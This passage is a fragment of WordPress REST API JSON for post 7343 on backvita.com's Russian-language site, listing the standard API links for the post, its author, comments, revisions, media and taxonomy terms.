comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/7343"}],"collection":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/comments?post=7343"}],"version-history":[{"count":4,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/7343\/revisions"}],"predecessor-version":[{"id":9673,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/7343\/revisions\/9673"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media\/3546"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media?parent=7343"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/categories?post=7343"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/tags?post=7343"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}